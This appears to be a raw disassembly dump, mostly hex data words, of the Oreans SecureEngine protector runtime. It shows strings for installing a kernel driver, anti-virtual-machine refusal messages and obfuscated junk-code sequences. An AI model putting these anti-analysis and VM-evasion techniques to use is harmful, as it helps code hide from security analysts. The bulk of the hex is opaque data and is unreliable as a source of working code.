850F003Fh, 5, 2C0E9h, 0AE800h dd 0CBE90000h, 0E9FFFFFFh, 2B1h, 0B560B58Dh, 25E8060Dh dd 3000002h, 0DB5F5BDh, 0F5BD8306h, 60DB5h, 0B840Fh, 85C70000h dd 60B05BDh, 1, 6BB58DC3h, 0E8060DB5h, 1FCh, 0B5F5BD03h dd 0BD83060Dh, 60DB5F5h, 0B840F00h, 0C7000000h, 0B29D185h dd 106h, 0B58DC300h, 60DB5E4h, 1D3E8h, 0F5BD0300h, 83060DB5h dd 0DB5F5BDh, 840F0006h, 0Bh, 199585C7h, 1060Bh, 8DC30000h dd 0DB575B5h, 1AAE806h, 0BD030000h, 60DB5F5h, 0B5F5BD83h dd 0F00060Dh, 0B84h, 0D185C700h, 1060B29h, 0C3000000h dd 0B57FB58Dh, 81E8060Dh, 3000001h, 0DB5F5BDh, 0F5BD8306h dd 60DB5h, 15840Fh, 85C70000h, 60B29D1h, 1, 5BD85C7h, 1060Bh dd 8DC30000h, 0DB58DB5h, 14EE806h, 0BD030000h, 60DB5F5h dd 0B5F5BD83h, 0F00060Dh, 0A84h, 9985C700h, 1060B02h, 8D000000h dd 0DB597B5h, 126E806h, 0BD030000h, 60DB5F5h, 0B5F5BD83h dd 0F00060Dh, 0A84h, 9985C700h, 1060B02h, 8D000000h, 0DB5A2B5h dd 0FEE806h, 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh dd 0A84h, 0A585C700h, 1060B03h, 8D000000h, 0DB5A8B5h, 0D6E806h dd 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh, 0A84h dd 5D85C700h, 1060B1Ah, 8D000000h, 0DB5AEB5h, 0AEE806h dd 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh, 0A84h dd 3D85C700h, 1060B0Bh, 8D000000h, 0DB5BCB5h, 86E806h dd 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh, 0A84h dd 0E585C700h, 1060B27h, 8D000000h, 0DB5C9B5h, 5EE806h dd 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh, 0A84h dd 7985C700h, 1060B2Eh, 8D000000h, 0DB5D4B5h, 36E806h dd 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh, 0A84h dd 9185C700h, 1060B18h, 0E9000000h, 1, 203F8047h, 9840Fh dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h dd 19E9h, 3F8000h, 2850Fh, 0C92B0000h, 1638178Ah, 2840Fh dd 0C92B0000h, 3E804746h, 8840F00h, 0B000000h, 0D6850FC9h dd 0BFFFFFFh, 21840FC9h, 80000000h, 840F003Fh, 9, 0F203F80h dd 0A85h, 1B900h, 5E90000h, 0B9000000h, 0 dd 840FC90Bh, 0Dh, 0B589F32Bh, 60DB5F5h, 0AE9h, 0F585C700h dd 60DB5h, 61000000h, 0E9C88BC3h, 20Eh, 6E614333h, 20746F6Eh dd 74697277h, 726F2065h, 736E6165h, 6478762Eh, 614D0D0Ah dd 7320656Bh, 20657275h, 74616874h, 69687420h, 69662073h dd 6920656Ch, 6F6E2073h, 65622074h, 20676E69h, 64657375h dd 20796220h, 746F6E61h, 20726568h, 676F7270h, 2E6D6172h dd 68h dup(0) aOreans_vxd db '\Oreans.vxd',0 dd 2 dup(0) dd 0EFE90000h, 0C6000000h, 0B284585h, 86684706h, 0FFE3E45Bh dd 0B0B01B5h, 0D858D06h, 0FF060B39h, 10468D0h, 9D8D0000h dd 60B099Dh, 50D0FF53h, 0BB68B58Dh, 0FE8B060Dh, 0FAEC032h dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 284585C6h dd 6843060Bh, 0BC8E6EFCh, 0B01B5FFh, 858D060Bh, 60B390Dh dd 0B58DD0FFh, 60B099Dh, 8068006Ah, 6A000000h, 6A006A02h dd 6800h, 0FF56C000h, 0C6D88BD0h, 0B284585h, 56685706h dd 0FFA69BEEh, 0B0B01B5h, 0D858D06h, 0FF060B39h, 75BD8DD0h dd 8D060B27h, 0DBC8E8Dh, 57006A06h, 37D068h, 0FF535100h dd 0FC085D0h, 1B85h, 70B58D00h, 8D060DB9h, 0DA5F985h, 8DD0FF06h dd 0B73058Dh, 0B806h, 0E1FF0000h, 284585C6h, 6843060Bh dd 0C0764AA7h, 0B01B5FFh, 858D060Bh, 60B390Dh, 0FF53D0FFh dd 0D0B9C3D0h, 0E8000037h, 0 dd 0EC08358h, 2E90889h, 8B000000h, 37D0E9C3h, 5A4D0000h dd 30090h, 40000h, 0FFFF0000h, 0B80000h, 0 dd 400000h, 8 dup(0) dd 0B00000h, 1F0E0000h, 0B4000EBAh, 0B821CD09h, 21CD4C01h dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h dd 240A0Dh, 0 dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0 dd 454C0000h, 0 dd 20000h, 4, 80000000h, 140003h, 4 dup(0) dd 2000000h, 1C00000h, 900000h, 0 dd 7E0000h, 0 dd 0C40000h, 10000h, 0DC0000h, 3 dup(0) dd 12C0000h, 1380000h, 2 dup(0) dd 1420000h, 1960000h, 1D20000h, 0 dd 1D20000h, 0 dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0) dd 27C00400h, 0 dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2 dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h dd 11h, 12h, 13h, 58080014h, 544F5250h, 445856h, 3010000h dd 30001h, 2 dup(0) dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h dd 9B010191h, 6002727h, 79276F01h, 81017D01h, 89018501h dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h dd 360h dup(0) dd 4000000h, 10000h, 50580000h, 56544F52h, 4458h, 8000h dd 8 dup(0) dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h dd 5273h, 9C3h dup(0) dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0) dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h, 831AEBC0h dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h dd 580CC3C0h, 544F5250h, 5F445856h, 424444h, 7E80000h dd 0DC000000h, 0CAF6717Bh, 8503D84Ah, 60B26D9h, 0E8CC805Eh dd 7242C681h, 958B0000h, 60B0B4Dh, 0BFh, 44B86600h, 3734FF19h dd 0EE95BF5h, 73000000h, 2952F609h, 0D4087744h, 0CBAD56BCh dd 6DEB8183h, 664CCFF1h, 9883E181h, 0C3A3F381h, 8D8B7747h dd 60B0419h, 82C0C381h, 53FC316Eh, 48FACB2h, 9B5893Eh dd 66060B06h, 81B057B9h, 8F1BCEEFh, 2D85315Ch, 81060B0Bh dd 8F1BCAC7h, 618D895Ch, 81060B2Bh, 0FF8E50FFh, 96850FFFh dd 0BFFFFFFh, 0B133995h, 10A9E906h, 44410000h, 49504156h dd 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h, 72656761h dd 72430041h, 65746165h, 76726553h, 41656369h, 61745300h dd 65537472h, 63697672h, 47004165h, 614E7465h, 65766974h dd 74737953h, 6E496D65h, 4F006F66h, 536E6570h, 69767265h dd 416563h, 656C6544h, 65536574h, 63697672h, 6C430065h dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 6E6F4300h dd 6C6F7274h, 76726553h, 656369h, 8 dup(0) aOreans32_sys db 'oreans32.sys',0 align 4 dd 0 dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0 dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0) aSystemroot db 'SYSTEMROOT',0 aSSystem32Drive db '%s\system32\drivers\%s',0 aSSyswow64Drive db '%s\syswow64\drivers\%s',0 aSSystem32Dri_0 db '%s\system32\drivers\oreans32.sys',0 align 4 dd 48h dup(0) dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h dd 72676F72h, 2E6D61h, 59h dup(0) dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h dd 20726568h, 676F7270h, 2E6D6172h, 67h dup(0) dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0) dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0) dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0) dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0) dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h dd 65h, 72430000h, 65746165h, 6E657645h, 50412074h, 72452049h dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh dup(0) dd 10000000h, 0 dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0 dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah dd 21h dup(0) dd 8B000000h, 55006AC4h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 234DD54Bh, 0B67F0EB2h, 0B5858958h dd 6A060B32h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 0C5E7C357h, 89F1D4EBh, 0B09658Dh dd 6AC08B06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 93D4C351h, 0AE99177h, 37000000h dd 642E449Ah, 6EA8E346h, 0BDBD8358h, 60B05h, 0BD830975h dd 60B29D1h, 50197400h, 0B8C08B53h, 43Dh, 2A358589h, 9D8D060Bh dd 60DB31Ah, 585BD3FFh, 29D1BD83h, 7400060Bh, 0B8535017h dd 43Dh, 2A358589h, 9D8D060Bh, 60DB009h, 585BD3FFh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0D9C35040h, 8166140Eh dd 8BC869EFh, 0B0011BDh, 66C08B06h, 50ED781h, 0D981C08Bh dd 7094590Ah, 5BDBD83h, 7500060Bh, 0D1BD8309h, 60B29h dd 53501374h, 0B8C08Bh, 8D000000h, 0DB1BC9Dh, 5BD3FF06h dd 0D1BD8358h, 60B29h, 53501174h, 0B8h, 6D9D8D00h, 0FF060DB0h dd 80585BD3h, 0BE9FDC5h, 0B0000000h, 25963FECh, 0C1968396h dd 0C08B592Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 73C35747h, 8106AFCFh, 0A09A06D2h, 0CFB70F14h, 0B70FC08Bh dd 0BDBD83D7h, 60B05h, 0BD830975h, 60B29D1h, 50137400h dd 0B8C08B53h, 0 dd 0B0EE9D8Dh, 0D3FF060Dh, 0BD83585Bh, 60B29D1h, 50117400h dd 0B853h, 9D8D0000h, 60DB03Bh, 585BD3FFh, 6AD0B70Fh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 0ACB1C357h, 0E98D2B67h, 8B060B01h, 0A98D8BC0h, 8B060B18h dd 0BD8960C0h, 60B3161h, 21D858Bh, 8361060Bh, 0B05BDBDh dd 9750006h, 29D1BD83h, 7400060Bh, 8B535013h, 0B8C0h, 9D8D0000h dd 60DB155h, 585BD3FFh, 29D1BD83h, 7400060Bh, 0B8535011h dd 0 dd 0B0549D8Dh, 0D3FF060Dh, 0BD89585Bh, 60B02B5h, 0BD89C08Bh dd 60B15F1h, 0BD89C08Bh, 60B21DDh, 5BDBD83h, 7500060Bh dd 0D1BD8309h, 60B29h, 53501374h, 0B8C08Bh, 8D000000h dd 0DB0879Dh, 5BD3FF06h, 719D2958h, 0F060B1Bh, 0A8Bh, 8D896000h dd 60B1FC5h, 0F6106B2h, 982h, 3840F00h, 0F000000h, 0C08BC9B7h dd 0C08B82B2h, 2279BD29h, 0BD83060Bh, 60B05BDh, 83097500h dd 0B29D1BDh, 19740006h, 0C08B5350h, 7D0B8h, 35858900h dd 8D060B2Ah, 0DB31A9Dh, 5BD3FF06h, 0D1BD8358h, 60B29h dd 53501774h, 7D0B8h, 35858900h, 8D060B2Ah, 0DB0099Dh dd 5BD3FF06h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 0A9FC644Ch, 59EB8A50h, 6AC08Bh, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0D253A8C3h, 8F0F1492h, 6, 32A18D89h, 85C6060Bh, 60B2845h dd 56006A53h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 0C3B78D99h, 0F850DDEh, 8D8BD3B7h, 60B1839h dd 395F9068h, 0E9D78A99h, 8, 0A767039Ch, 0B4EBE563h, 0B01B5FFh dd 858D060Bh, 60B390Dh, 8D8BFB8Bh, 60B0DDDh, 0BD8BD0FFh dd 60B0AB9h, 0AC58589h, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 8EB612C3h, 0BB4F2E9h dd 0BA10C412h, 6FA61214h, 816655B5h, 0C6C4CBCFh, 0B284585h dd 8D8B5706h, 60B1161h, 4520668h, 0CE85790h, 6C000000h dd 5A33EB9Ah, 7EDB90B0h, 0E8F2AAF3h, 12h, 0C985FC60h, 727453CAh dd 0B9A9AEA2h, 9F0775F8h, 5A598924h, 1B5FF59h, 1060B0Bh dd 0B31F185h, 8D98B606h, 0B390D85h, 9E906h, 6E2A0000h dd 0CBC7044Ah, 0FF69CF5Dh, 50006AD0h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 858918D8h dd 60B2411h, 4585C6F8h, 43060B28h, 68D0B70Fh, 0BC907028h dd 24559D01h, 0B5FF060Bh, 60B0B01h, 21E9958Bh, 858D060Bh dd 60B390Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 3EC35545h, 0FB617C9Dh, 0FF89DDCAh, 51006AD0h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 0E6D1555Eh, 76B79A30h, 27A58589h, 8D89060Bh, 60B003Dh dd 284585C6h, 8B4C060Bh, 0B240595h, 1CE96806h, 0BD8BD9DAh dd 60B1161h, 0CD04DF81h, 0B5FF0770h, 60B0B01h, 68B0Fh dd 85310000h, 60B0921h, 390D858Dh, 39B9060Bh, 0FF42364Eh dd 53006AD0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 0C0930F4Dh, 0DE86E49h, 67000000h, 0F7D77642h dd 270B4792h, 0C7AAB656h, 19658501h, 0E85F060Bh, 14h, 70DE3CDDh dd 371E904Dh, 0C15D7D4Dh, 8C602DA7h, 0C60CC030h, 0FBB70F53h dd 85895F5Ah, 60B2875h, 0C6DFC580h, 0B284585h, 8B664606h dd 4D8529D6h, 68060B1Ah, 0BADE0614h, 10E960h, 97860000h dd 396EAB5Eh, 4991916h, 0E2F1ED4Ch, 81662BD2h, 61B326E1h dd 0B01B5FFh, 0DE9060Bh, 27000000h, 56EC796Dh, 7F286C5Dh dd 0F3ED26EBh, 390D858Dh, 0FE9060Bh, 0A6000000h, 52496C0Ch dd 721CA512h, 0A00E6D7Ah, 0D0FFD44Eh, 28D9958Bh, 8589060Bh dd 60B21C5h, 10E9h, 2925AB00h, 7775915h, 3C8EB3B1h, 94EB05E1h dd 0C9BD891Eh, 0C6060B29h, 0B284585h, 6A4706h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 79111BC3h, 0E726838h, 688D583Fh, 8A0FB5E2h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 12C35545h, 19BD89BEh dd 0FF060B07h, 0B0B01B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 613F2D74h dd 0D858DD4h, 1060B39h, 0B0CC185h, 6AD0FF06h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0AB9BC356h, 7E9FCh, 0F4CF0000h, 982A6629h, 0D1858929h dd 89060B13h, 0B15799Dh, 4585C606h, 47060B28h, 5890Fh dd 0E6BA0000h, 6859A4E8h, 83D0B5F3h, 9DBD8951h, 5F060B19h dd 0B01B5FFh, 8C0F060Bh, 6, 0ED59D09h, 858D060Bh, 60B390Dh dd 258D8B60h, 61060B2Bh, 6AD0FFh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 0F4A124C3h, 0BCD7C5EBh dd 31BBB0CBh, 0B0531B5h, 66D18106h, 8920F97Ch, 0B051985h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 0BC1064F0h, 29AD8589h, 85C6060Bh, 60B2845h dd 9958B77h, 68060B23h, 0F397A8A3h, 0DDE98166h, 15B5FFADh dd 89060B03h, 0B0DADB5h, 0D858D06h, 0E8060B39h, 0Fh, 0B1F39B5Bh dd 0DAB35DA7h, 69D6C36Fh, 89E7EC18h, 0B2DE99Dh, 0D0FF5906h dd 8589FA8Bh, 60B000Dh, 4585C6FCh, 47060B28h, 8728F0BFh dd 85BD8B3Ch, 68060B20h, 8728FAF6h, 32E58D89h, 840F060Bh dd 20h, 13E860h, 1B1D0000h, 6E69247Fh, 4736AA0Fh, 59A5112Fh dd 0E5202D67h, 1EBB598Ah, 61313E34h, 0B01B5FFh, 0E8F9060Bh dd 0Eh, 0A4B813FDh, 0D73A3D33h, 237C170Bh, 0EE99493h, 27000000h dd 7873C204h, 0A0E8EDADh, 6D4F9F98h, 858D5FD1h, 60B390Dh dd 5820Fh, 12B90000h, 0F6E18DDh, 0D0FFCABFh, 0DE9BB966h dd 74639DBAh, 5D85890Dh, 6A060B16h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 105BC352h dd 9E99E32Dh, 10E9h, 2E2DFD00h, 745AAF33h, 623013Bh, 24010259h dd 4585C67Bh, 43060B28h, 8DBA6657h, 0FC685AD1h, 6ABC8E6Eh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0ADB8C353h, 0AEA15E2Dh, 44A4BA2Eh, 13E81D8Eh dd 37000000h, 41430F7Dh, 0EF7BC23Ch, 0AF010F0Bh, 4DE17498h dd 0D2819B77h, 17FBC7A0h, 1B5FF5Fh, 81060B0Bh, 41AE21EFh dd 0D858D6Ah, 66060B39h, 0D0FFD78Bh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 0E8C35343h, 10E96CACh, 39F60E0Bh dd 68D0FCEh, 9000000h, 0B2A9985h, 0B98D2306h, 89060B05h dd 0B026585h, 0AD9D8906h, 0C6060B19h, 0B284585h, 8D894506h dd 60B0C1Dh, 72696968h, 53006A8Eh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0A07D2ECFh, 534F02A7h dd 59CA8B66h, 0A45B966h, 0B01B5FFh, 2EB1060Bh, 390D858Dh dd 8166060Bh, 0FFC8BBF7h, 0E78166D0h, 8589D36Fh, 60B2F4Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0CEC35646h dd 0A121DD32h, 0E8BE470Fh, 12h, 0A72F4D29h, 4D570A3Bh dd 0D988099Dh, 0D7FB2C9Eh, 8D8B88E2h, 60B2DFDh, 4585C65Ah dd 44060B28h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 1CC35545h, 0E5EF077h, 3C94D193h, 0F2EC6468h, 0FBB70FB8h dd 0B01B5FFh, 10E9060Bh, 6000000h, 29EEDD61h, 324864A8h dd 0DBCEF087h, 8D39130Ch, 0B390D85h, 0FFFE8B06h, 3DBD8BD0h dd 89060B00h, 0B059985h dd 75BF6606h, 4585C6EFh, 43060B28h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 9DC35040h, 47D5A5E5h, 89529C84h dd 0B088D85h, 4AA76806h, 0BD03C076h, 60B1FD5h, 0B01B5FFh dd 858D060Bh, 60B390Dh, 6810Fh, 0BD2B0000h, 60B0719h, 0FC60D0FFh dd 1AAD9D03h, 8961060Bh, 0B0B8D85h, 0D58D2906h, 80060B17h dd 0E00ECBDh, 840F0006h, 0CEh, 0CE858DF8h, 8B060E00h, 0B080195h dd 6A5006h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 0CFB0FFC3h, 0E8016AFCh, 6, 0F4259CADh, 958B684Fh dd 60B1BB1h, 6A006A5Ah, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 89C3C356h, 0B2761B5h dd 0E9006A06h, 8, 0F49F975Dh, 14DBB6F9h, 27A595FFh, 7E9060Bh dd 50000000h, 0A2DC5B95h, 85898FE8h, 60B281Dh, 15F1958Bh dd 0FF6A060Bh, 2B69958Bh, 8C0F060Bh, 5, 0D0669ABFh, 1DB5FF79h dd 0E8060B28h, 0Bh, 0F9C25AD5h, 4508DE84h, 8968C1E4h, 0B2AC99Dh dd 95FF5A06h, 60B2411h, 2961B509h, 0C08B060Bh, 0BD83EB8Ah dd 60B05BDh, 83097500h, 0B29D1BDh, 19740006h, 0C08B5350h dd 7D1B8h, 35858900h, 8D060B2Ah, 0DB31A9Dh, 5BD3FF06h dd 0D1BD8358h, 60B29h, 53501774h, 7D1B8h, 35858900h, 8D060B2Ah dd 0DB0099Dh, 5BD3FF06h, 6AFB8B58h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 67B7C352h dd 4990AEEBh, 4A818E1Eh, 0EE8AC08Bh, 284585C6h, 8B47060Bh dd 0B23058Dh, 0B5896006h, 60B2E41h, 0F7C16861h, 0BD8993C8h dd 60B02A1h, 0B01B5FFh, 958B060Bh, 60B0B25h, 390D858Dh dd 8166060Bh, 0FF9147E2h, 0B5B589D0h, 50060B1Eh, 2E91958Bh dd 858D060Bh, 60E050Fh, 2205BD8Bh, 0C7060Bh, 94h, 220D9523h dd 358060Bh, 0B2DE995h, 0FB58D06h, 8B060E05h, 0B2A59BDh dd 0D0FF5606h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 0ACC35343h, 0F1BD897Bh, 8D060B0Eh, 0E050F85h, 4788306h dd 3A850F06h, 80000000h, 85C77FC9h, 60E05A3h, 1, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0AC35040h, 0AE93B4Ch dd 1B000000h, 0DB4997A7h, 0EF00C301h, 0B5BD8386h, 60B00h dd 38850Fh, 85090000h, 60B2DF1h, 5A3BD83h, 0F00060Eh, 2585h dd 358D2B00h, 83060B29h, 0B08D1BDh, 840F0006h, 12h, 85C7F88Bh dd 60B0021h, 0 dd 3A98D89h, 8C66060Bh, 13E8DBh, 0D4B10000h, 0E4A280B7h dd 806CF5B4h, 0DA833A01h, 2393401Fh, 0AE918h, 8BB70000h dd 22DF6604h, 0ED18204Ah, 0E58D315Fh, 0F6060B29h, 840F04C3h dd 58Fh, 0B1985C7h, 60Bh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 0DD5BF4C3h, 65B79F10h dd 575F4246h, 59D3BF0Fh, 6E18166h, 0F9BD809Bh, 60E00h dd 18850Fh, 13E90000h, 24000000h, 0C1E6104Eh, 0CFBAFF1Ah dd 0F14EA70Ch, 4FCCB41Dh, 85C6CBD0h, 60B2845h, 9BD2947h dd 68060B06h, 0E3E45B86h, 0AE5B531h, 0B5FF060Bh, 60B0B01h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0E8C35545h dd 0C55923E2h, 66FD1F6Dh, 8B5840BAh, 0B2099BDh, 0D858D06h dd 80060B39h, 0D0FFFDE6h, 8E9h, 51D26000h, 0ABAE947Bh dd 104685Eh, 0C6BF0000h, 8D63433Ch, 0B099D9Dh, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0B625F682h, 2367697Fh, 0B00F9BDh, 81665306h, 0FFD666DFh dd 0D3B70FD0h, 0ABEF8166h, 9D858D26h, 89060B09h, 0B1F71BDh dd 64B65006h, 0AB858Dh, 6A060Eh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 2A91B8C3h, 0FFF91F09h dd 50006A50h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 1002EE54h, 661BC8EAh, 8D3FAAB9h, 0DF77E85h dd 9D895006h, 60B2AA5h, 0D95FFh, 6660060Bh, 9A15E981h dd 8361F78Ah, 13E90CC4h, 52000000h, 97AE0821h, 0F5D0F9B6h dd 3B34F330h, 750115C1h, 6AAE66h, 8068h, 6A036A00h, 68006A00h dd 80000000h, 0F77E858Dh, 0FF50060Dh, 0B026595h, 8E858906h dd 0C6060E00h, 0B284585h, 87684706h, 0FFC7B15Eh, 0B0B01B5h dd 0D858D06h, 0FF060B39h, 0FF006AD0h, 0E008EB5h, 8BD0FF06h dd 0B0C2D8Dh, 3D29B506h, 37D0h, 4C830Fh, 958B0000h, 60B13C1h dd 8EB5FFh, 0B589060Eh, 60B059Dh, 161FD981h, 95FF52E4h dd 60B0B8Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 0F9C35242h, 9C808EBh, 0D7BF0F0Dh, 115E9h, 0FC10BF00h dd 0B5FF3A5Eh, 60E008Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 0D6C35343h, 0FF8F6331h, 0B0B8D95h, 0E18D8B06h dd 6A060B28h, 0D68B6600h, 820F006Ah, 6, 2041B529h, 0BD8B060Bh dd 60B0079h, 8B66006Ah, 0B1006ACFh, 66006AB0h, 6AF88Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0BC35343h dd 8D473ACDh, 0E009285h, 3D9D8906h, 50060B05h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 54C35747h, 3FEF0DBAh dd 6595FF72h, 6A060B02h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0E90FC357h, 11h, 0CD2C38FDh dd 28179745h, 11DCC0E0h, 9B055134h, 